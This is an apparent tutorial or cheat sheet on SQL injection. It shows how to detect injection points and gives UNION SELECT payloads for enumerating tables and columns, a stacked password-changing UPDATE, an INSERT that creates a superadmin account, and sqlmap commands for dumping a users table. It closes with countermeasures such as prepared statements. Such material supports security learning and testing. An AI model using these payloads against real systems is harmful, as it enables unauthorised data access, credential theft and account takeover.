SQL Injection

Finding an SQL Injection Vulnerability

  1. Insert a quote character in the web form fields that are likely used to build SQL queries
  2. If an error is triggered within the DBMS, the web app responds with an error

Exploiting an SQL SELECT Injection Vulnerability

If the server executes a query like

SELECT *
FROM users
WHERE username = '$username';

the attacker can inject a SQL query like

-- Effectively executed query:

SELECT *
FROM users
WHERE username = 'injection_'
UNION
SELECT userid, first_name, last_name, password
FROM employees
--';
--------------------------------------^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

where everything after -- is ignored.

Special Tables

  • MySQL: TABLES, COLUMNS in schema information_schema
  • MS SQL: sysobjects and syscolumns in schema sys
  • HSQLDB (java): provides system tables INFORMATION_SCHEMA, SYSTEM_TABLES and SYSTEM_COLUMNS

Inject something like

Smith
'
UNION SELECT TABLE_NAME, TABLE_SCHEMA, TABLE_TYPE, 3, 4 FROM INFORMATION_SCHEMA.TABLES --'

to get a list of all tables in the database (MySQL). Be sure to match the number and type of columns in the SELECT statement with the number of columns in the table.

or

Smith
'
UNION SELECT COLUMN_NAME, 1, 2, 3, 4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'employee' --'

to get a list of all columns in the table employee.

Exploiting an SQL INSERT Injection Vulnerability by updating data

Given a query like

SELECT *
FROM user_data
WHERE username = '$username';

the attacker can inject a query like

-- Effectively executed query:

SELECT *
FROM user_data
WHERE username = 'Smith';
UPDATE user_data
SET password = 'new_password'
WHERE username = 'Smith'
--'
------------------------------------------^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

However, this only works if the developer used a method which allows batch execution, which is relatively rare.

Exploiting an SQL INSERT Injection Vulnerability by inserting arbitrary data

Given a query like:

INSERT INTO users (type, username, password)
VALUES ('noob', '$username', '$password');

the attacker can inject a query like:

-- Effectively executed query:

INSERT INTO users (type, username, password)
VALUES ('noob', 'peter', 'secret'),
       ('superadmin', 'admin', '1234')
--');
-----------------------------------------------------------------------^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Automation tools

  • sqlmap
    • e.g. get database schemas python sqlmap.py -r request.txt --dbs
    • check for vulnerabilities python sqlmap.py -r request.txt -p account_name
    • list tables: python sqlmap.py -r request.txt -D PUBLIC --tables
    • dump table: python sqlmap.py -r request.txt -D PUBLIC -T users --dump
  • Burp Intruder
  • sqlninja

Countermeasures

  • Use prepared statements
  • Use parameterized queries
  • Use input validation
  • avoid disclosing detailed information about the database structure
  • access database with minimal privileges